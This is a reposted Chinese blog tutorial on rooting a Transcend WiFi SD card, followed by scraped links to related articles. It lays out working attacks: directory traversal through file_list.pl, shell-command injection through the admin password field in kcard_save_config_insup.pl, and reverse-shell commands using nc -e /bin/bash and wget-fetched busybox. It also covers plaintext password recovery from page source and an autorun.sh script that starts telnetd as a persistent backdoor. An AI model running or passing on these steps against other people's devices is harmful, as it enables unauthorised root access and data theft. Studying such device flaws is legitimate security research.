创见WiFi SD卡破解之路
我最近搞了张Transcend WiFi SD,颇为得意。它可以让我在几秒钟内将单反(奶昔,相当便携)中拍摄的照片传到任何支持wifi的设备上。我很喜欢在旅途中拍摄和分享图片,所以对我而言,可以无线传输图片的SD卡是一个很好的解决方案。确实如此!(以后也是!)。不过移动应用程序可以好好改进下(下载7MB的图像仅仅为了渲染?点击下载后还要重新下载一遍!谁能告诉我这是为什么?),但是,嘿,它能够完成任务!
这个小小的设备不仅可以存储16GB数据(还有32GB版本),而且还是一个嵌入式系统,能够运行应用程序,包括web服务器,和其他wifi设备通讯,甚至自建无线网络——这个明显的事实让我和我的小伙伴都惊呆了!好了,不废话了,进入主题:我们能不能用这个设备做一些设计之外的事情呢?
写这篇文章的目的不但是为了指出可以用来root、越狱设备的漏洞,同时也是为了展现摸索、利用漏洞的方法,其中的一些方法可能走不通,但其他的或许会导向万能的根用户。
准备Hax
我猜这张卡中存在着某种形式的嵌入式Linux系统。如果是这样,扩展它的功能会很容易,但是,首先我需要取得系统的控制权。到现在为止我只使用过和它配套的Android和iOS应用程序,不过很明显,最简单与电脑交互的方式是Web应用程序。下面的想法立即浮现在我的脑海中:
如果移动应用程序很糟糕,那么web应用和服务器肯定也好不到哪里去……也许它充满了等待被利用的漏洞。
孩子,我是对的!
一旦你连接到Web服务器(卡片的IP是192.168.11.254,默认登录admin/admin),你就会感受到和使用手机app一样糟糕的感觉,“用户体验”很糟,“破解体验”应该不错。很多人使用scanners、fuzers之类的强力工具来探索漏洞,然而这个系统的安全性是如此之差,以至于我随意摸索一番,就找到了可以利用的漏洞。
“Files”区域十分显眼,它允许你浏览SD卡的内容。不幸的是,它不允许你进入SD卡根目录的父目录。果真如此?如果可以进入父目录就好了,我们可以了解系统的内部情况,获得关于它的更多信息。如果我们足够幸运,甚至可以通过Web界面运行一些指令。你会注意到指向“父目录”的链接的URL是这样的(%2F就是URL编码格式中的斜杠字符“/”):
http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
好了,让我们试着访问/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww
结果证明此路不通。访问/、/bin、/etc、或任何其他目录都失败了。:( 运气不行。不过,话说回来,如果可行的话,那也太容易了!好吧,其实也没那么困难,程序员真是太粗心。导航栏中?dir=/www/sd/../..
同/
是一样的效果,成功了!
哈,太尴尬了!貌似程序员只是确保路径使用/WWW/SD起始,但没有验证父目录的“../”。通过这种方式,我们可以浏览嵌入式系统中的任何文件。当然,点击文件是不会执行它们的,只是下载而已,然而这已经是一个巨大的成功了!
浏览文件系统、下载脚本之后,很明显系统使用的是busybox,这在我们的意料之中。由于大多数二进制文件的大小是相同的,这暗示它们是指向busybox的软链接。然而,许多不是软链接,包括大多数在/WWW/cgi-bin目录下的脚本。这些可能是值得注意的,因为只需通过浏览器访问它们就可以运行。
开始Hax
看起来很有希望!现在我们可以访问内部系统,即使只是只读模式,仍然给了我们很大的便利,因为我们能够研究和寻找可以利用的漏洞。:)
检查一些脚本,找到可以被利用漏洞,没有花掉多少时间。顺便提一下,这些都是Perl脚本。Perl有一个很好的特性就是使用open()
调用打开一个文件,因为如果open()
的参数不是真正的文件路径,而是以管道符结尾的shell命令的话,例如open("cat/etc/passwd |")
,会执行程序。其他滥用open()
的手段包括在不同的位置写一个新文件,或者覆盖现有的文件,所以我们可以编写自己的代码并运行它。让我们来看看是否有文件可以被利用。
有一个文件特别显眼,因为它包含了一个含有用户提供的变量的open()
调用。kcard_upload.pl包含以下语句:
事实上,Web应用程序并没有使用这个文件。kcard_upload.pl
对用户是隐藏的,但它仍然存在,在cgi-bin目录下可以访问。我们只需用浏览器指向它,就可以运行。这真是双倍的尴尬,一个未被使用的可被利用的脚本!但是它真的可以被利用吗?
通过阅读kcard_upload.pl
的代码,我知道这里存在三个利用变量$basename
控制系统的挑战:
首先,$basename
不能直接被用户使用,因为它是调用GetBasename($upfile)
的结果。用户(即,攻击者)直接使用的是$upfile
。更准确地说,它是你选择上传文件时HTML表单的路径。但是,如果我们提交了路径,GetBasename将只返回路径末尾的文件名,其余将被移除。这使遍历目录(如之前提到的../../技巧)不可行。
其次,$basename
由脚本转化为大写,所以无论我们传入什么,都会被转换为大写,这限制了可用的策略。
最后的挑战是kcard_upload.pl
的脚本只允许PNG,JPG,BMP,GIF格式的文件上传。
所以这是一条死胡同吗?还没那么快!
如果你更仔细地查看代码,你会意识到尽管程序员想要限制上传文件的类型,然而他们只是检查文件名是否包含这些扩展名,而不是是否以这些扩展名结束。
此外,这些正则表达式并没有真正检查是否包含.
,因为在正则表达式中.
可以代表除了换行符以外的任意字符。.
应该使用\
转义。我猜程序员想要的是/\.GIF$/
,但结果写成了/.GIF/
,所以我们只需在文件名的任意位置包含三字符组合就可以绕过限制,例如/hi/helPNGlo/asdf.something
。太方便了!
由于我们的路径会被转化成大写,也许我们就不能再调用任何系统命令(因为大部分都不是大写),不过也许我们仍然可以上传新的文件,也许是把我们自己的脚本植入系统。我们并不十分关心这些脚本的文件名是大写还是小写。
最后,如果你还记得,我们的路径在保存到变量$basename
之前,己经被GetBasename()转化了。GetBasename()
的功能是切分路径,获取最后的文件名。所以/path/to/file.txt
会变成简单的file.txt
。这很糟,因为这意味着我们再也不能操纵路径,不能使用类似“../../bin/our-malicious.script”的技巧,因为它最终会变为“our-malicious.script”,然后保存在DCIM/198_WIFI/。:_(
除非,GetBasename()
包含一个可以被利用的漏洞。:_)
基本上,这些代码考虑了两种情况:用户提供的路径是由windows风格的反斜杠分隔,以及路径由斜杠分隔(除去windows之外的任何OS)。或者说,这是这些代码试图做到的!这些代码真正做的是,检查路径是否包含一个反斜杠,如果包含,那么就判定这是一个windows路径(因为windows路径使用反斜杠作分隔符),然后按照反斜杠分割路径。它并不会真正检查路径是否由斜杠分隔。因此,考虑以下路径:
/this/part/gets/discarded\/this/path/is/used
由于这个路径包含一个反斜杠(这是一个合法的字符),代码会它认定它是一个windows路径,因此我们最终获得了一个不是真正的基本名的basename
,它实际上是一个路径。在我们的例子中,路径将是:/this/path/is/used.
你看!类似/PNG/something\/../../our-malicious.script
的路径将绕过所有安全措施,之后写入我们选定的位置 B-) 这是个好消息。坏消息是这些不能真正生效。啊!这是因为脚本错误地假设../DCIM/198_WIFI
存在,但由于脚本从/WWW/cgi-bin运行,所以这个假设不成立(正确的路径应该是../sd/DCIM/198_WIFI)。令人伤心的是我们对此无能为力。这个bug是硬编码到脚本的。开发人员应该没怎么注意这一点,因为这个脚本并不打算提供给用户使用。(记得吗?它是隐藏的。)据我所知,尽管我们做了花了不少功夫,这是一条死胡同。:-( 不过也许有人可以拿出一个创新的方案。
(此外,kcard_upload.pl
输出的表单并不调用自身,而是调用一个名为wifi_upload
二进制文件,因此我们需要自己实现HTTP POST调用。)
Hax继续
不过,注意看!我们已经发现了代码质量如此糟糕,因此肯定还存在很多其他的漏洞(如果你想更有想象力一点,我很肯定kcard_upload.pl
调用的/www/cgi-bin/wifi_upload工具,可以通过栈溢出和堆溢出破解,因为代码中有很多混乱的strcpy调用)。事实上,我没有过多地检查这些方面。还有一些我没在这篇里详述的其他死胡同。我下面将详述一个明显的漏洞,非常容易利用:
从perl脚本直接调用shell命令有很多不同的方法,如果程序员粗心大意地使用不妥的方式调用shell命令,那么也许我们可以运行自己的shell命令!使用perl脚本运行shell代码的一个方法是使用system()
调用。事实上,.pl
和.cgi
文件使用了大量的system()
调用,但是它们的参数都是硬编码的,所以没有太多的空间可供操纵或利用。另外一种使用perl调用shell代码的方法是使用qx{}
表达式,但是代码中没有使用过这种方式。然而,第三种方式是使用反引号包围shell代码,相当于使用qX{}
。事实上很多地方都使用了这种方式,而且shell代码中也使用了用户提供的输入!这意味着他们的shell代码混合了我们的输入,所以可能被用来运行我们自己的代码。
在kcard_save_config_insup.pl有一行给人的感觉就像圣诞节:
该语句运行$update_auth
指定的命令,将$LOGIN_USR
和$LOGIN_PWD
作为参数。这两个参数直接来自一个表单,这意味着我们可以控制它们的值。没有针对它们内容的检查!更精确地说,这是当你进入Web界面,点击“settings”时显示的一个表单。你可以通过http://192.168.11.254/kcardX120Xedit_config_insup.pl直接访问这个表单。表单询问的是管理员的用户名和密码。这意味着通过选择一个恰当构造的密码,我们可以执行代码!首先,密码必须包含一个分号,以便在$update_path
命令执行后可以开始执行一个新shell命令。然后它就可以包含任何我们想要的shell代码。最后,密码必须以#符号(表明后面的内容是注释)结束,这样后面的内容将被忽略(> /mnt/mtd/config/ia.passwd
部分)。
这很容易测试,例如:admin; echo haxx > /tmp/hi.txt #
。
然而表单进行了合理性测试,它不会允许长密码和奇怪的字符。由于这些检查是通过JavaScript来完成的,而不是在服务器端完成的,绕过它们太容易了。我使用Form Editor Chrome扩展来摆脱这些问题。
提交表单后,我们可以很容易地检查漏洞是否有效,只需利用本文前面提到的漏洞访问/tmp。我们甚至可以下载文件然后检查其内容是否正确。
记得将你的密码恢复为“admin”,否则利用完此漏洞后你需要通过出厂设置重设你的SD卡(当然重设不会影响到你的图片)。
获取root
目前为止,我们不仅能够读取嵌入式系统的文件系统中的任何文件,而且也可以执行shell代码,并写入文件。不过,我们仍然缺少合适的shell访问方式。
查看/usr/bin目录中的内容,我们可以发现,这里有很多可以让我们制造反向shell的好东西:netcat(nc 二进制)、telnet,等等。反向shell是这样工作的,通过我们PC的一个特定端口监听传入的连接,把目标系统连接到它,运行一个shell,通过该连接获取输入,同时通过该连接打印所有输出。建立反向shell的方法你用上所有的手指、脚趾也数不过来,不过最简单的方法是调用netcat:
nc 192.168.11.11 1337-e /bin/bash
这会让netcat来连接我们的电脑(被分配的IP为192.168.11.11)的1337端口,然后将输入传给bash。当然,你必须使用先前所描述的漏洞来运行这个命令,将你的密码改为admin NC 192.168.11.111337 -e /bin/bash #
。不幸的是这根本不起作用。使用telnet或其他工具的技巧也无效。为什么无效呢?nc、telnet和其他工具的软链接在/usr/bin目录下,指令的语法是正确的!事实上,我们亲爱的SD卡内的嵌入式Linux禁用了这些busybox的功能!(我们可以尝试调用telnet或netcat,将stdout和stderr重定向到/tmp/hi.txt来验证一点,使用以下命令nc 192.168.11.111337 -e /bin/bash &\> /tmp/hi.txt
。下载hi.txt以后,它的内容会是类似如下的内容:nc: applet not found
。这意味着nc被禁用了。真恶心!我们只能通过那个糟糕的表单运行命令,同时不能使用网络工具吗?当然不是!
碰巧的是,transcend脚本使用到了wget,因此wget是启用的。它允许我们下载另一个完整的BusyBox二进制文件 )) 我懒得自己编译,所以我从http://busybox.net/downloads/binaries/latest/获取了一个预编译的busybox二进制文件。我把busybox-armv5l二进制文件放在我电脑上的本地web服务器上(我的SD卡没有互联网配置),所以我只是运行了wget http://192.168.11.11/busybox-armv5l
,使用表单漏洞将它下载到SD卡的/www/cgi-bin
目录。我也运行了chmod a+x /www/cgi-bin/busybox-armv5l
确保它随后可以运行。
uid=0 gid=0
最后,我得到了我的远程shell!运行nc -vv -l 1337
我的电脑会监听1337端口,运行/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash
,SD卡在该端口上启用shell。由于下载的busybox二进制文件启用了所有工具,我们可以通过远程shell运行/www/cgi-bin/busybox-armv5l <命令>
获得更丰富的shell命令!例如,/www/cgi-bin/busybox-armv5l id
告诉我们,我们已经已经以root身份在运行shell。
更多Hax
假如你忘记您的密码,需要重设,你可以使用SD卡的恢复出厂设置功能(SD卡中有一个特殊的图片文件,一旦删除,重新启动后就会复位SD卡)。不过,你可以恢复你的明文密码,源于一个非常非常非常粗心的错误。这有一个“隐藏”的perl脚本,kcard_login.pl,负责最狂野的登录过程。它从wsd.conf文件获取密码,然后提供浏览器验证密码的javascrip代码。是的,你没看错。使用javascript进行验证!
这意味着你只需将浏览器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,然后查看页面的源代码就可以以明文方式恢复你的密码。密码就在那儿。
友好的后门
启动时自动运行的脚本中,rcS会执行SD卡根目录下的autorun.sh。这将简化开发和破解,创见啊创见!
在我的SD卡的根目录下,我有以下脚本(命名为autorun.sh),此外还放了busybox-armv5l,这样我就可以简单地telnet到系统:
cp /mnt/sd/busybox-armv5l /sbin/busybox chmod a+x /sbin/busybox/ sbin/busybox telnetd -l /bin/bash &
于是,该卡通电后你就可以登录,完成启动:
尽享hacking之乐!:)
原文:hacking-transcend-wifi-sd-cards
搬运:嘎巴
创见WiFi SD卡破解之路的更多相关文章
- 【记录】尝试用android-logging-log4j去实现log输出内容到sd卡中的文件的功能
[背景] 折腾: [记录]给Android中添加log日志输出到文件 期间,已经试了: [记录]尝试用android中microlog4android实现log输出到文件的功能 但是不好用. 然后就是 ...
- Android--手持PDA读取SD卡中文件
近两年市场上很多Wince设备都开始转向Android操作系统,最近被迫使用Android开发PDA手持设备.主要功能是扫描登录,拣货,包装,发货几个功能.其中涉及到商品档的时候大概有700左右商品要 ...
- SD卡驱动分析(一)
Android下的SD卡驱动与标准LINUX下的SD卡驱动好像没有太大的区别,这里就以高通的ANDROID 2.3以代表,来简要分析一下LINUX下SD卡驱动的写法.由于小弟的技术有限,分析的有错的地 ...
- Android Environment 判断sd卡是否挂载 获取sd卡目录
在将一个文件存储到sd卡上面的时候,一般需要判断sd是否已经挂载才进行操作. 那么如何判断sd卡已经挂载呢? 我们可以使用Android的Environment类,具体使用如下: if(Environ ...
- [转帖]SD卡&FLASH&USB
来源:http://www.cypress.com Cypress官网,了解任何芯片都应该从它的官网入手,资料一定是最多最原始的,像Ronnie学习. Cypress’s EZ-USB® FX2LP™ ...
- 安卓手机内外SD卡互换
相信有許多人....有內置sd太小...外置sd(sdcard2或extsd)卻只能放資料.... 一些遊戲或者是影音播放軟體....根本不會去讀外置sd(sdcard2或extsd)..... 記憶 ...
- 蜂鸟A20开发板刷 cubietruck 的 SD 卡固件
美睿视讯 为蜂鸟A20准备的 MerriiLinux 功能非常简陋.所以能用上主流的 debian 或者 LUbuntu 就可以说是非常迫切的需求了.蜂鸟A20(Merrii Hummingbird ...
- ESP32入门示例 - SD卡Web服务器
这个是来自ESP32官方示例的改版,官方的示例由于存在一些问题所以我进行了修改原本的示例有点逻辑上的问题,所以进行了一些修改 主要修改有:1.新增SD卡测试部分 复制自官方SD卡示例2.新增一个根目录 ...
- Android系统信息(内存、cpu、sd卡、电量、版本)获取
Android系统信息(内存.cpu.sd卡.电量.版本)获取 /*APPInfo.java*/ public class AppInfo { private String appLable; pri ...
随机推荐
- realloc,c语言
realloc #include <stdlib.h> main() { char* ptr=NULL; char* ptr2=NULL; ptr = malloc(); printf(& ...
- MySql连接异常解决
这两天遇到一个mysql连接的问题,找人弄了好几天也没弄好,先看一下报错信息: ============================================================ ...
- R与数据分析旧笔记(⑨)广义线性回归模型
广义线性回归模型 广义线性回归模型 例题1 R.Norell实验 为研究高压电线对牲畜的影响,R.Norell研究小的电流对农场动物的影响.他在实验中,选择了7头,6种电击强度, 0,1,2,3,4, ...
- Listview 多个ViewHolder实现
简单代码示例: package com.edaixi.adapter; import android.content.Context; import android.view.View; import ...
- QCombobox设置下拉框的宽度
这几天写一个项目,里面用到qcombobox组件,其中下拉框含有129个子项,所以在点击的时候,一个下拉框就将整个电脑屏幕给占满了,很不好看并且在使用中会造成很大的苦恼.其实我就是想设置一个下拉框最大 ...
- Delphi获取与设置系统时间格式,即GetLocaleInfo和SetLocaleInfo
在Delphi中,特别是在写管理系统软件时,经常要用到 FormatDateTime 以将 TDateTime 格式的日期时间转换成字符串形式的值显示或保存起来,或者用 StrToDateTime将字 ...
- JWPlayer 初探
http://www.360doc.com/content/13/0103/22/21412_258041878.shtml JWPlayer 是一款比较实用的web flash 播放器
- Codeforces Beta Round #97 (Div. 2)
A题求给出映射的反射,水题 #include <cstdio> int x,ans[105],n; int main(){ scanf("%d",&n); fo ...
- Hibernate 配置详解(12) 补充
hibernate.hbm2ddl.import_files_sql_extractor 这个配置项用于补充这篇文章: http://blog.csdn.net/stefwu/article/deta ...
- pkg-config的用法
pkg-config的用法 pkg-config pkg-config程序是干什么用的?简单的说就是向用户向程序提供相应库的路径.版本号等信息的程序. 譬如说我们运行以下命令:pkg-config ...